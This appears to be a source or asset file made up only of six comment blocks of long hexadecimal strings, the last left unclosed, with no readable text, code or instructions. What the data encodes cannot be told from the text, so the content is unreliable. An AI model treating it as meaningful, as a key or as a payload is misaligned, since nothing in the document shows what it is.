/*b4408bbb80bf1c13c5e00401b25d4e5c374dccdc7ede140ba1e1be32ca15d1afcd09ae185f6a2d893a27d7ec68c5880284524454d1983c0b62228af30e8db9429c2e560ce41c213ac24882ea6c8db34b3f0b75ba8b0ba9c59ab887ffe070f6087a33930dfafcf238fd3951fecf75103861e392747adab18f2702baf688910489a1bd0d39553de33cad1dc1abe6bf17e0520ee6c0506f67d547f6bf71469c17f1e0d6d9540bed6eb63c4b0f1953ec61acf4531925b1870aa11e436d78400c4298a271f5712998b8be658dfb7288ed1ac304e43fcf22b0d2ed177b2d2560865e9721f3c1744a8d909f8e348fc7e96dec6324515b2e80d379f2f8022a8319d1f32275ae52f8eda1c99b93da840f4f77de5134c4d91351f33935af1e46ffa80d937e3d90426496f5baa6f482b636673a9fac539d18582e8efec910e7c0562a4e4c21b2d3601afbb14e4eddd6a555e6cd99bbb5ec7c13629b18e8319e1b9f85ddfa05adc70cade9b099b6862a2a95ef5ae3d344f303b6860273fd496014fd90384824fb8a25092f9999a39738dcfd784d9202e628b3107dce7862fac6408b1197ee7db51d9df42c8dd676dd0c656a56381c18158d543b5964cc56a8fc7698b6d9860f992c7d6f0a9921900270ecff2dac24f2ea68848f8c4553768146c91cad28e9b2fdd388a942c4b072d550671acd6162696461b997fa289c6b689f41942c089ea4fbe0408b7ea494bc97ea11e1920b54b62d5922512f0c516fa224f467aa3d7bf6b3f20d0e89cf799dffe1a3f0548000155d35536229c9a5217b4f6080a072c8d58e9df8fcd6ca0a68f272fccaa287a09ed5bb868a1f332dd11dc9cabf584f8cbe801f85c4f8ea8fbf963bb8481aef1ac009bfc9d70a68825cd082bea0272610a4ca59ada8fb46f3fd0accea48f9d8c5eb2399f4615b2cbf4aa26458d3e25a931ab66d6212c5032e1fd1219451f8acfd11531c005423151322a96f62afbf9c8b1e2d0d22a48fab4ca5a4853bbc1fb2d17b40b402a4bd704be1f3e53da3ae281292663401a11f05dcfa338648c2ab1e56a44cb50d108aaacf065f8cfd4a45eb0de4b6a604c80bd36d4f763041e385bb45bdf5516821997dbb6c66da8a7d2538300980a7b113fc1c4635834d6be3d6265ad01a41fc4068fe52b6a55e93852297c9029b4d393b992e2c0aa1f307aca4c06e56629a757161210a87ed0ae1de310b1a13b41038bb199254e2a3c42ba5e0158f690a8ac82722a692e45f1d1615a630b7a7004f88f49ba4337ae2500a929cd1e35031def18cb20298f1aae680d43a6d42dcbefc6d06cda453798706124158d09e797882228cc46d801c62a601386cb69e2933509aeb22f7bb4b623ac7670d87a7664f39e1bb09061ad1eebd3b3142b520e50e54d60e2da6370e133060754c85d4645a9c96789c4ba86ca28bd32a47b3ede4467a06b0630ad7bccb6b3b0c5d01e328caf68f60998d31cf5347c41374b5c5ab1cbb8f9c9aab3831e50d005cbcb1ddfe7c8aa2a1c950ed7e6c0de2ba3fee111299aa53abb3d857f0e730b6cae447971e9cf54dfe45bb2ed8a6996d8a9db8a234ee5ee02251df33c3bc5113057b5441c9192e940d8d8b9ebb879cd072e6fe1cd6ba13d13cbf80346b2f508d19300a464d62faedfa62bb510917631fb5f83fb5cd306a11a5058dfc572cd0c5be0508a3dbba544a5f21d97349b839ffbe18e3de33c19259c2564dd17aef9ebcfeb77166e81421f10710d50d4152cbd692fb8d7a086b36feceee1e6c02fa13f8ca49f47f16ab6783b32ffb3789f80dcef799ff64bc2d3bacb99608374e6cb5fcd5e3fec17d494e12ff5f4e30ac4334f92192dacc84d82f5c0d7e7cb9ae598ec312c3f7fc08a29ad98cd0573fa70a84c536b148d8564104c0689a60c680f96fbe0f98b6143302550f53271680d288d060137c70552bccd1835bca0dc5efa3f20f58a26e0e1d83260a6b23477ee0f32951348458bdd03cc1c4368744f2e5ef1136bce4ab01382aef8d548fe82e85e9580d277fc41f7d092f07092f34b5b2aaf17a0a9c02f3b6671ad58a6f2d141a04dcf0e699d66f6dadc10aeb8d1920f9fe66941e5e6657031e9c23a53872779d9e5aac6e544639651a60e3c7019c1c98f719ee6db8f3846cc1ada27054d2dae8bd38f6196f253b4eb1e74588d7378bd3da041cc471aec6ae811f3413b093e0e0ab39303d7686e68a3e54c0475285fbc1504a15a6e730ebecba51adfc6f337e42e5ba0d3b4e1c707e2982b3a14c9f9f3c27fef44d4970e4919db64ec0ed2ae659047de8d6909d624d1f60204dade9d31d5a93d6969c4b68f45c0c465ee60f35e24ecf97abd4b5ab3aea7b300b6b74edb14bb3cadde09d69fb91c024143ecf69fa189151b21f10887772dacf42cbcd666d3543946607a1608c003cad283331d0270a73eedd0adcd95ee411b3b186551447ffbe357c43e1f444cf5999afbdbd3f82bea8f5efa2d0fe9c1f1b6ba5db4e239e9bce0fc0b680782547d34383f1a0856b4c6031dc44f77a45c976968f726f0d97f5f9636ccaf2f9d1541a5e295ee31e476876805853b2b2d66bbd0a8c2f677583da92f3b8c9fc2d189dadd9b5fd2bac00bbbd9ab6d08be32007a3198fc0dc4a9820c441041e9aef585f6be693b7676cfc2ca7b2d2e0fc195d13387cf8639b49c19fc07531880a52511f2c82df009314b7dcc6da174c3cb78e99e57f6959a35f2eda4744254ee6192c75eb5f6e1d94561c13a39059564095e2a375ae9a0c9929396fd72f3d208d879c1b49e3214614fc1abbe2cc791f60d084e0d3366979b681c88fc78cdcb559f2f2*/
/*7eec22344b8b391acc910cae775212fb88539ed1f7a7434a46dcf40bf97c63220f23e59a5210092f7a572f785d0c8e38dce25da96d19d24dfde9028a26c00d07cc18f2ea6c97df06d5abe4ea83380f5ebb36316af7d36364a8ee22f1c4f742dd8ba12cffd963d8a6637535570843d200cd270719ddfac0c194b8fc546b9154416e3b092fd122dabbf95995cd4ab66b8d33b2d37b7d894c64f265c45460177ff9c0ccbd99920b185c343e2d675915956b480cffc8f51ff80a39b3cd861f11b97373df8b02719473be45767615019208bc3fbb6cde201794aef6c324b36440340d0641290c958fc54d461b728283042c864548f33f2d8dd459d438a570ddbe55b9aa21e519a8bbdbd1147e26e98f1ece9efb452276466cf9736b136ce5f33f33562812b0b73129d48f0f97073fd16f913a555e23caf132f4843edda052052dd5e71fdb5ea4eeb07fb5ee4bc8b6dd6f566a146076c0232d6c7c1e2dcd69ace1846748298c40f54cd59e08e264ea11611d18275d19eb658d59828ff357bcd46aaf16599141fb70ee7a6ddadcd16ddd23f13e2c6fa4552905d102fcc5cbef41fae0e1f0f2b953f3c2e8dffa54a203b4b39b14064539e9418c6b004a9bae87ee74f4bc322acf1b8f225fcf68f8f7b310ed06645ac9cff71b82589f47bbe05ac8bdc95a6a1239e00c5f597a7337a6e8568a44d400fb093a467d07490f67d899e8768fe70d9f4c4b356133d82a49137f760e5711e1ea4d71ba3be218361934a947ca9d0a393cc30c1e24e99daef5800c5f48d05448267e8e21082ff460e2ea7960a1fcb964d1eb337d663c5d59fdd3b2a2209437cfacfbd03ca4b2c2e32d15913e60d54508e60e50eab5ab5f6b6d51f6c0b0e65844ba0e3554523cf76d438b0ccad3bd406eb73ffa0f59de8b4643ab9e82cb164c3d416cb34931321675d40d6c77a6698e90e202e572a4178ad7acf0e1f1c07f3d25c231578f0333ef83fac5667a348390f258fef3908c41ce72dc6466e12828c318b174d9a48ccd6d10ebbe5e970dd4760c0d9963407fa2d3fad905b591629a70a9648ccf24d453b1f9e81a36b54e4509c27da03468e0ec9361728cdb033896087aa9f777a8c6a092684c611c1123171aa3226d87e584f1c5ebf955962b56eb2a8c9888ffcd478742fec8de610234b293a9f15d1fe9d078ef7254594f84a5d67e3c1653817d0e26a3a78fd770456accd355dfa9e18122c8cf64f24683784267d50c5d17bf5ec3010a9b0cdb539844327580adc230a9acd867d68645a2f6d80ca95644eda59a72e6523f994902635d4be88dd03a82f71bb6550c754b7ac0529c326923dde0416ae5b92ae0d58b9b53e00039b56fcd98088ddc70abd2cba9a1e9a04f05ce72c81bb3fa6da64bd6e77ff38e81ec0b89f2f87c66aeccfb85c1851c048ac760f1206a9031314f65099e449d5190c78f40f48a6449aebe8e72ad793b7de8033a6b297d2cb33ec4bce15da1b25a0b90405c3dfb60995fc7c6480a4caa6e9e76558aaa3f7c4c8378ef6912757811ca6cd7e87acac1dbc5135d1a812c4546f5cf00bf6740024c5c4fbb3fee8987d3fb09ea6f01247e060fbe1c6192f8c6282dc2ac4f73341ded3134a05f05af3f6ddbfbf7c46c980d69e447051be4462c0f7411b9f83815569afb60058878f4eaed894173668576afd4e3b60b1e0d2f1d78632ca94270474bc1cce0d97dfd58e06a187d4fc7bade78d58323366b9e4d380d9209710a1d357665202ba1079b4948e340579001ee829cb153c6900164a0c7663282e2ab2b424b301ed5e62b5d70552259b07371edd0da8350599d76de8e0db4af39968b5d691d11659b2ca83b9bd35a50269d7fbb8b1993a3fc1c0bfa55e975973924dc885fd7701d64d8f6085170b32426d882bc2b5b686e1080a970d647128fde7059899005d30389f351e3ad34c7b5d308b7c367ea8d78f80309c303472a83faeb39396da678fb54ce977b863de7724722feafdb789006126fdfcde22352a66c230d83d271f7de61c47e2b9e8b294518d71b99315d595b5ebc94439dd1b2977cfc4c6942a123676db18402887b036c72e61269a003ebc353b961e934a95afb1cba6b657863c74ec71fac3cbc885a32c30485dd6c3403f5ab6f3b0fd12b0fe02f5e784a90f3a79a2d73cb918a58aecf71e11c8363daf0ebf24e9afe55e0779f75893bd77d5268106469eca4c5d94808ef7d9ef70819dd15a0c24fb421ded31c4de245ebc0cdaa01ee0d36187755b2237bab9d22ebe928f9f9c652fb201777ace76b71077d7d4f9bbb8248532401cf47bab19ac95f3365058780e526afd363c8aa947e47ca18fda088a841c93ecc7d725d090d621e726cdac9af35bb98952d3db805e7a4ec6fa8880d799c3611d3b4a06daa4a3f6c83b0281c889d2c46cd01c05b4926837cfa12d5146e2bef4e2107bbb57c1738aec2bde06fce4fdecc69ca36f8216ddecbfe13bc023da7e2b943864a20e4c7b0a76d244100ee179bf28a5518b8d3b3afd2bbc26f8ecc3055d2586e084471e965aecde6de0c5879b5d9b49c392f16559ef7e2750ef551f4136fbf85a71c2b4ea740e8651caf60868190c4af47af2824d7535e8422caf837b9c853379686490694f959d7d52209917f6905eac242162b0390bc962b25502c6ac0b416aa97fa8ecd57356ebe28ae84641f847e95cca1bd04366956d8656cb8487a9a991a2e87d92500cae7de90ed5b170db039a1f2ed5e6114cbf170dd45f5df5856c4ba59118481aaffced21f5ce6c93ad2f167419d4118733338be9bdf99d2f9c46a61a43e23ea8f8a382b02763cd9fed5ed*/
/*b26f408621a72b68f8fa8b2ee08533983787701812d61dee8c4faaaa2969b54055ba3adea29a173df78e1ac8bd7df228515a147853a85fa044a2f4f3a84b4753e96c7bb7323d1cc7072595e29c4b83b9b77f39797b31718dd96ec25faab9dca1a85966584a3c1f30b00c6aa5ce24672e8b84532ec6cb061ca6020b7123416d45ab024b48bec000c18e7955fbe2f702c2ccea37a771ce18c36a4c14db319ce256b7a73a51baecb5c24a4ca1020fa878d6487338b0261dfc9d40248bb0e4913f23e34c79d94f9f7e2175e04694f40a3d89d96076e36428bbecdf6de9514eeeb7d59375dd3e08a9cb099de19bd6084eef1334e592fc1c3a6a8ab89c440a1d3c4946ea7440e2a0a51a0486a5b18cd0df55f47123691611b873c7d1fdb5b91fd1a0f2773bebc41f553e5b28997e8a94ce0307a8d5aac1d9ba537b969a8b0dcbe7e973cf87f1ef163d0e41060c7b54417eeb10e60923fd207bd96b0f0b2faab6c329ed5cc345b3aa74c220d57a52c83414cf8a8002b24723cfbaa9489cbbfd58ea332c40f0fb0ad3dda38c0b533b1613783b086d661f2394de52cf3d96aaaf1119febf60fb65c8c57f321d4281f27da5b6f46fdce1359e8bb20e0241314ac9305092dc9a6d098caee33b56466b8b93c6c05a1a018e36722bcd333beefb49e4e85db5b53d8ee951cf0cbdfd6ed1b0ff6c63b929e42f3123c8391f10b27d3b230cba4adb6c5d84edd00a5174253e833b8230aead262e06372abce189f20e2e7b8dbab18aeede13d7a6a85b84d73b1ccc74d1569b25c28bd381feb7f394201f28b34a0a3559d90fcbc5e699f0c03aa0794591b35f7ca3ba22335baebd8db4b72060daa1416fa866364c723aa219a3a5e01f8ee4d7eb608de651d089d8a7a9807ceee7549a8b4821f6449e3887400f28d30fde66f901249d24c5319ef59a16c7fbf8c9380f3d7e5e752982315ddd3aace060da8e491b72a3c2542f2b57ef58c06561c955d3c364fb4d6251c5fb92e0bb8c3aad9b464cbf06ce932785379396fea57806f01f4e0858d899263df0b3d14c100332fbfdc5caa3268458b16b852794fd7ad541656613f49f61aa63109b9ab486dc14b0c8b69da3de8159c9a7b50d5aae0af4be8389b0998367682f57824e5be08d39730a0403c4a8c3ef56b9028d21240c7704ed8e6fb1eca0d9e55de6d12590641675c53df1e6ebbc9276d80bdc627335dcde15afaf6dffa8611d9662bc5d0cb010b135bce9c6b0172c4073300e414db44c5ab0b4e40ce6b1dbbbb3c12e1501a6e06117f2b52705a32e40cbdaa1191a9e0ab452cfd33dc9ae77a84cb11e3ed4642911187c7107cfe77d16ab0ee12a4f9ac866f978fecd021b67c435683cd82ff187c6470d0199af1066f6f9904f1c5e6d7e5e33d7b8f72245defe3d852586018c01069f5ff098ebb8f5edf5499cf9fcb3e83b39e0c3f5778fd9809600fbdba55c793c385db42c8af89010ec8b6ef25b415bc7c4d358648118db0e2b4d802e5add5774550385923d87608a6038e212ffc47307f3dd44c375ac864dcfaeafc5a99a10217cbff99ea08e524349cfbd2eede08f045905a14a34fab77fe5e67fbbcddef11c86944152d846ac1804ed60353c7483d05f62a9531363e20680a4190487a52a82d6c0fb63ff3532f8b81f8377134f8ecc28ab4ecca5ab6ec5c13ffe7ed9ed1d527580da40a0e3df080152493c270063eaa9aa5498f4fcc93dd9dca78b04ba85c9a509c07a9b4513183cf4fd238ff273583f4e7b63f692a31af62a5d9b2f9b9a34269f7edecd7168de631518cfa6c36750c106afdcc3065c7863513d0592b2b7e369e6c021c20e931b7b26805f2b07046b5a7da119854398d8af957d7a19dbbbecf734e3927d3b602f29dc58ba36cc5b2f5c674644a90aba8a36a12e5984de56c5f90dc1ad9565a4f49def6210e94fb52b236dce18623ef73f0b57eaa60c7b356a3ce5cb1411004ec5a248cf850fe1b4e2d1f5e8b07f8932245c9228fe4b3552cb08c83deb209d23cfc831e543be6af001d1b47edff022bb4679e2371fce3543d722449c880b18708458015890465dbdc52faab7cddbcaab095f76168175264588fc82e33df9381a82d5b933b68eb452039dcdec474bd15e0312a6bb0e733735a1b226fde132944b74945d1b5fe678322e39c3cb7a14469f046c0077d95ee2f83e025913fb0ea4786eb1b53cbb52e72e25fb1ced43990c3ddb595ee0efb65dd605ac0a46d66042a0161af06f6e10994886b73d54bfb2cfdb3943fab9292e386a4b98dc23d659714538691cc5bd6206004527457518f77a82f43e6172b7b8dbb5f3a2060dd088cb6f42bbae001da0312d00676be269643aaa4ba9dad5db8c42b48643a7253d179980fc2e3dc668c498ecd80d0b9c8ab784f44066fdd691ce86510ef0f4745b3ffb01427ec62c0146d3228a279d436e77aecebcd475db69d5428ea353aa75d2bce4bbb5cacc415683d9b89a1bd5943a534beceb0134a8a0cdd7db3e6b983838b94213d9ea663ca4e40626fedabf39ecac8ed88c1192cca39486e388249c5c50341fb4ac156498c21668cd1dd190c24c8e0a08629b45b1838368866a07db68d962649a02655495cc6462183bc177b6c8e23f40b9c07affe79327cfd8f98e4d4d94463b69b07242c8381d9d63254142b695464228fdcb04b6d35aab191743c65503b02150e683a5b9b5c23897d3b85336bb61bfef27966e07788039fd5ed2bc2a7fd783bc07b945869c2b122c0e4469cbffbbb8805dec9d51f34c531caed836a841aae4944589ac4fc45346d522774f3fd20a8540f1f36bd84c88246719*/
/*b1a1d1f1892f4456bb7389c65c1b852636431754190f743eb18e9a21a3996ddf1e4ef49aea5d2bd4a23a31d0b5d5e1301f0c29711823f2cdb5491afe63313d3840ff63cfbee89624be10611a875160cdc45115b76c7a499f6e095cfb397e814ba1ef03a52f45923be3207a4e0c93ef7ad0f2b51d2eb3cb3cbc35227c0426b9a6c650328d11b01b3f2106782a4c087dcf44ddec97f8b913cd7ee0c2dcb26286e4000810f2cf77cdb8742ae8149fac3e8ce5727e384f63284f9b1de3ac14fa593347cf49ccc38250b1c522db7f23d5e3dbbd925188a6d19159e53df31e13e1b42aa4ec0390d312d461fb3a210cea12cd36292249fd172554110d3ffc156197e70236427baef6606931c300d1189e0f676c4e0efb4b737293d1139b0d48ec9cd7751fa50db7ecbc262ec9ba130ecd051b4d2c2cc2a184d2b18775e84c88d4e5e9d05275826d376eca3d54ce5c8e2ac0d361c5bc2b1f4c0c5ad349ef4efa0ac2ef6036663defb49f2f8f2e9dc474a15aedcc0dc3253404bb59500e4ddd65ac27505a5d5467052f9445d97677c42104abc1929b24c8eeecc32ee69b555aa3555fb99bc4e5724d16789cadb46343b84bde65e4b28a7912a866bb63c97ba97e02cf48ffa1be0101d924d8d54b0d0e09cad694e779b43115db03fe1fb9ba24ae60642e5bf986cc0abb2eb531522cfb02d5767be13ac87ec7c949225edcae7dad68bab896dfac27d724034370521121b793f155f5cd58c3acc301f5da54452ea268744fa026389ce49ae619f7a264d727d56116dc7d248edcb69f1ba33a4485d888f7bca82d7b0d730ef13435c49f22ff07308cbb4eaebe285baacd7e9e0d7163df1aeaaf05a6a5fd36b62411144de419fd5fa6dcef8c4bc970f28ee9b20cfb3c1348b5f50fd978cac43ad716266b53afe0bcedfd58dc357d6412066838d9880f7e9c30cd6d21341ba25df4c4533bac907c33db7e93af1a6b2f8a2e1e1fe006a6f2788b5af7548d9e4e6a307ac09a2d9ce3bee681ec9828d382294489c1288c430bb33a738c3f26f88be60b30cbbcc5994a598cc139fc38a7d200c9efe54dae64606cb5f36745a9829995151710f4e27b5945a1b7326426c249844539850c5c3463675d4415f6de13b3a034bd60c33c0e9c62e57401039e604b0abb55dd37b14a913fb83c571ab32cd2a8831f4c2baf996cc20fe938919d191e28dd63b90bfcbbd4fbdebd49a54994196166bc3ced3370073095f5c4c15c01a281c345919a0d2f72a77bbf580d77b0b7906795b431c79ec7d3612b30b34d45de3983219ab65b62089b5b1ab48c3fac08ea6aa861e7b499c3f8d076f62f2bfd11e71885bd8c2c716a995eb8c91c516ed84dce2ca7407686360adcc4840d7f366a0714efa54cb0460a0fac239960775f0dd1df656fff26bafab561414d100805177fe90f6a7cb10f5580d47ae3a65eefcffbb10a5a66d527abc5e0be43cbd260f468e13f0ae9bb3c59379368c2bed979411f283c7c8c6c08c991dcfca679b4331175eb194da2145a3dea6b0469be39758baa12165eab7eb6d84b39e2f449d5a921518062711f0b4d13180120e11672a799c0eee13765cb78d2db3dd8d954c2c1035ecc6ed26a35b6e1ece9f64bdc69eba4e442fcb7b628bb6eabdff390f9bab04b48a869d4b119462d2812b114b23c2d8279aa95c40d6c8da53efac788721d48eafa51fde18c21911ae12c7d365aa6155681c90c2ebb6aa29a09c22e9fd6f8ffdeb57e705d8fa9a2ac16ad8d440b16461b2ad1086579162ee5ca85ae942d49c9803e097e5194c0b21bc948a2e5301a687914e35f2b89aacd2f56d5bb47e9f8d4b733d70363a545a6d8e4ebaa10173bda862cd1090aeb47e59734e5d7b9cbfc8b3de1f4ec55eac4124b0c39ac38550ed6f4f152cdc7988d76852ce1d260ef54b01451db934b9495eb1a6b071e4d6d93c86948c0b2155f841b780ed1774a46b236178f78aebeec7db2dba92f616db1af3282cc77c1b8e8646265addd86526da5c39862d18b44cae6f1689e97836265a1c32a6e2d62ac26819a0efddbc423a1db50dce5f123773dcecec6ead9b5ef0f8d6ea4c87930774334d64ed5567fa6b79943261cb11da9392afaaf8d9c98a265360dedccaa6954de98e487e6e0eaca23274c3ac3e6cd76f353c2ae49549889f4a11aa44eea4eb92a7c8de9fa0b4a4de61b0acd2c5c03e8644db2ef38fc256a73f966aa80d0f8962ecb3e92684626c3c2c8983a24b14d2d45e14a9d8423ef527ee844ecba2dd0401b3fe053eb9243b372414b425c4a5342532e91626c0fc32f231368efb6c6b06e1b4c14e4108c77a2873d57cf25c67b370d0b0baf48f279bbf99781385df1eb1677cd1c5ef12ae6dbdd04958d72e4e9d52a107513848d24b674f1ef423fcea48f5f8e97e25bab928f0305f1a0ee160027c5ce6acc5cab2f8f271ec9378d1303c279a2617f54a7b64085bb53d559a0ee22086613a3478822e6ce8a78922430d8fab64bc140f6a73b5e0bd31dff69a52930a12f3c934416fe93fad8dbe98ba3d4d66457fd505358fbdbf7d8598c1d4a987900df8fceb5a4e3825887ca779be1edd8f789e9245331a81f61b98e9a67b3d8d0139df9e3587a074acd11654d396f461fbbbd4d7869a16a26cdc2bddfd4f04c1f65035f2f96a7b8de87e6d373c247ff31eef55303ccc293fc25df8e694470c8a8ac17d39a65675d0346e0af35cad0f5a862d85207805d6a4673a89e31057f3832dac0ba863bba36f5f269897c6cb88b0e87f406c31d285b399ba0a3ecfa4a7c4041e3782003901fee5aa383e0422db184edc0a83cb48817*/
/*b39570f3a16aebbab4fd909133e5fc739ead6a0777e2ab14816be11a082a4e693b1f06bb287a203184138b5d7fa271efec95714e29f31b890fec0453ba76ce8755735fe535782aadeeab18cc22e3f006f564719de108baf686b65b1d9dcc59b8b28c465f7dddabb6efc3aed2670d65d22a3e3f2ebbdae6c86ad87738bcc05b37a6f5a39722cba36d827f8e725613b337fec84d4d1d20d9aca8dec353c78ebf7ee77708c0f28717a0801b256575cb692e816b3e4c2af60ff7d00229c887ea095442fd8550df7da58682fc5bb0dcb8b49c5d91235559217bc964a208dc8d5b59269a84887f1a5d15e5b624abef2092ee79bce37a5986a97c867e96a91fd4ada8b506dd5bb5e96edfa3af30744d198ef8eded8c23ff5d133d2d0002115b110d059a2ff3b89d3e557f0c12f43b203917c533b8cd13413ec7b99871cc4299c504d40e18703986a66894ffd14bbc7df5138d78409de2a1d90aa55993f7a844381f5946a9eb7250b759445cfed0297a63a54b27bf0a5a2065170e85218b84e08b418ad4396c0a27ac8d6ef9f1608be0ddad3f705e8687600b91fb799eb49c1a240f8a916e64c231ad64c33a1782587b802e10529370eca2e38756146f11cd36e995e043fc52bc4f2d44adadcae80b4cdcc2eff3acb0d1dc238dceed0f35122a7877fe451c93934b255adaef763843bdc49002dcc9fc37ad62d38f8939e41b11a080ccaca9f5b989a44985ad2860db9dd2dbdc0b24fcb8fd15c7a0878e90982fba4b78a7ac13d061c15575cbc2bf92f3ac5d4ae1b2de9020ee20c91c428aa4703ded0355adc181e486e86571482f5a6b6e19e9fb363830251489ea64a456cdadb1d6739a8e0a3beab1cbad5e2d57f399910ab6ecfe4d4205014ed8a62379f2d7b56377cc885d891a23097a3533d54d51c420eaf0110830b58f6acea466b08fcf719ebb6f47bdd18f060121dfbb245cd884edf11079fe5c06a0ef0d286cd20b94a1debdd22256db45a12cee5e877725cae32807812f1cfa86efa086238f31558674978ab208d1e6ebfd168079d58a0713ef098eab596899e168a1b539ce4433ea925c24b1dd7fc1820ae9752537aa7a67c84218b4c76c5e7a5b6204c1f06874417fe48710a0e4678b1f4c8e583430a61f55d55ae0babfb4f0b149cad524ecfb7691651c0cea287c72014c4158848976f989567df870ccc0c8192f7a4f58d38393815b585d977a389045ab76c54bac60464d21c3fdd453a5660618bcb21abde273d9bffc116a8b214b1de1bd2d02eae79950574f4ef1e6067e27af7ec2a4dbcbc15465e86001faa7abb5ca0b32d5c4d77e9860efdf7bcb6014301a49e5e9569a82b3a983759876ffda30362e6dfcde9b8a00a75e360771049127e79cf292c43fd9cef5b0624a96898b941db2de51d84c35f8d8d1d02942bd4d152865281a137ea49652a65f1859cfbc1e1909b926af9246c9db8d512b1c2dc971e00f39222e874c4828b7ef1979baef93ca9f980216fbfd8ff21ef3c2ab2704074f72f800a49338fe057b96ae65a5a67d4347c22365f6617a8ab6553a3502230877267a1dd6ac8bbdccca17f1349a5e3fbac205dd6e61b147d58f0c92f75f1568f083d5c603fc43f97061909ee505c9b233175ab1af2950e3eb63b044e09f081198fc843c412290483069d6ae05eedc186049bc0dc7079d257f2b7405bd9cd8ac890424ddf48d77ac6c5640f48fc27319f0621f34db4fa48471e31527bdf82063ac190f950d397748185d7df65d6d1913d2fcba0c5ca56d81e2aa591eb01241823a31d17ff656826fbb2f455a1bddc7a4fe191dc08ef5e686aaaa86d9ede52ae296e48102f9dd0fa42fc53dcfa90b916da1ecd33e02d5708ed6582deda5b0959ca2b55dbd3382ad830ad88d92951d2f0c5000b866e971b7c2f6def225890426153caadda1ab7ab3adf96e9c7b5312c40c42ee2d4e417e8420bf55e62fad0adf42047fa5153c502a1632465a0ccb37c3746e851bdb165d5afd77e5136f7a98ab90dad8681a86b8116f24c913c35086a3515a7a38428639aaa78e30e8eb0e42eda521aea6e6f6e6f4272a7b4253bf46f10500191132ab4a853c6dcc3e4c5e0bf3fe1711c2fec60bf23821bb2c4b85e2e469aa8d00a2c088934516d8e57fa2b54d2a0947645c1fe99b0c136f22dd561cec86666f26519240812ae6f39be61016a689d16e21a37d254725a17e75c99a19bcf59965a1edf74d962e94ad161007dedfc547f7a82b9c326af0ae2a972f206fc3744ad343d98a0fcbc9e3c01862fa460581dafcb1e03565b92ea2b1c2a0b927b15bdc49617b779d2010142775bb83ba2593cf020db5551ec908afd2830a6551e5af32f6049c5cae99da2355c91cbcfe6e107ff68fcf04a12b83770ecbdcdd1a5e165271a358f518d07e5ed0d6b85feed1449c6aeb021d4af2153d9d93e1966c6df522d2f3475d84fefb943fb2fabaa657ee820edeb66ef90c1b0b0ba58eb71ae6a9d7f01417e3941c24518625cc7a4c78ad9b3259cbbf93174a1c50f04b61d14ff9e6c849a8d537157d663f2c391b9f9d04e56239636913880a0db80416fd7f37babf11342681446fc62f44da290644c63625277b51df8402966e9de311875550599dcd8fdc25cc2b825502824e0edf519cbcd18f1c3cb372bcc4ad5e7de21183497e4c8d316e51ec3d31653fca711d52214ce97d0226124b74ce2f0c8afa49ea0a2ac3657c32f76e58b27bbc0b25acb266ab41c7fe6c22a2522e1e3dc644fb30ca78acd42646fdd57294b243ecec3c79252c7b5ee70fa1a9485af43c4fbee1452d4d5b8a7070c40699ce66ac*/
/*ff5a8c2331a8c62274e42310f5475aeb37c11bbbfe87bd0973e4655671049fd49222649c27dae6684e2d924873e087b62ac2a134c0b6f540f92813328c9734aa88faa5791de2b366b01bb63371c219ab857240d6670f5f2b0800d3407056e820d37fd4a2a3878dc897ebb51b3ced16eee2eaad554f3991b5955ce85492a09a1305d8ec9781eb7488d22c14222936481aea5ea38d9a11288927e1de4d4f77b067ef1f9b4184f60e8a15dc0d39bf96b5ef4356e3f41853913de6e9c42d0d53f5471bb2151e52a7344bda292e6c2d2ecd1623eac50f249c3ef47b70a9697e154907543ee1133024974606a0eb67dae27961043d18a6c3912c7c8f1f4a9aa429655c28812a2b886f8726ea0e3065aff82ce498b4dd60b778a01e65a377c4ebeff70e50e6402581cfc85a5852adf04f96db2147554e21940a6a676de11e19a66dadb37d13591b597467932c7b984cab695cbc08075e71323b8dca2dd3ed21c7bc891db8a602c5b0e5e8216a9893b055c7ce089998c8ea39ad43dc5ffae68520002a2cfc9a1dcfd921e0196f6bb7eb89b474cec5c65aae4d42471e021161a71e920e095f317b35bdb2c144469efe993044b74f182dc59cccff520b7349ed3e266c87e13ab7552273547215a2b9414db927ab91271498982d58986efd42bf8c52b0db1a52b4259d62ac3f0807ce2ac4bd64d545962a904596a7c5d926c2b1fb67b777f1aa7a596ec88150c42653c75799633c27337d12adf8f975e7b551be18e3bc1f0916b3fb9bdc848a0e8f676f92ad799ef71dd4a50e32f5709c8bc00dc38ea64b618d0633e034cc94139bdc12e20419bed4ff2548528be72b16b664697b07f6376a0519d01f728301c86dba426a5feb4f266ef31aa51aac5893bc48348daedb74359dbe70cd8949068600be69611d495d7cf512d1b59132faa12196aa0b4facec44d5a3b3d1c8737fa992f2d2b251d17e36d39bc410d04c0a74ffa3c53b0eeca318b3c5761a0b2b1dde4922f682e88ef8d535647664c9b7d53075b3b86e035a193369231e5ef9a966c5864919f0dd1a6e3425aed11565ca0f51b7fbf2eaa8f042d1227ed513c09af37ab8bb9de9ef6c9469d5cd0c8ca0f3d9bd1c8f6829e4decea3002520b6e48c8dcbfa827069775301fd67f6ff6e6efa28a4faf6b4d500e6170a6f95e205a4d89c97336d3aa9d54d5c1622fcd1c69d3737f8173ee622fca82f65e706f7f6658b964dde8e601d9372adc1f6a091faa18a17c256ceae230cdcbac199722308ac3cf110864412a585eb7f13262dca792913d4739740a77480b64a1d3c58be293d0bfb24ff3b4967b7bcc5cb891d27641d65f5512d76c16c7cb399620050c2d16454332a462c1809d589f3fe08435a53b042a5c0c80e1e395d33768a9abbec236a708b84dac7e9f374d9b656b4b0f45f4e9bc27626cff6e664dda0d4c0c15c842cfe14b119a6a7aa89efafad52bc29fb48f187b9db5a425630b41258fb98eaea304942b9d8d48a5c8a26217fc7134ed3835e3a5f5ce62fcf2d13d32db3bb5df27b320a06343e5f9386bb10a50a1a7acfadc4ecc08b074816d73fbed92e9da6d29bdbf5cf234f63cdac1c921973a8d2e7641b9884c05d322b450527374025895d8669585f6914059c03cbd8aff655348b7fce3ccfb3df21639d4b8799808ac3553163916ce01ee7a9c4f894791b9127307a7f27a7e08edf314891e671998c5d1ebecf5e83a40621e22a074d87b71981562787d3fa786877746621c1fdcc463c6257ddceb09c3a8f9c9e93d223a064385dfd71e42d9d56d6ca63455b315b1aec0bc673de96d852ca56a6197f0a1483bd235bf1cea41f8ac34b68b135673854843bc631a3ba2d78262130cee98d72869890e259b4447824444dc71c4184d5a483a6b93ade1c386f916afb828ff774d214e283c0f084d6162103d05784c72fa0b07ee07aff010ffb017338b2886acdab424c703fc1f225d29a87d8d15cb1ccdc719fc703f7452bee36f1c9ae92263c80dba17219907e2dfe856918d9294a80181cb06aef294dc08c83f57fa33af7c708bb81c2919c1cd6a5175a2f58f774e8106d82c1dc5c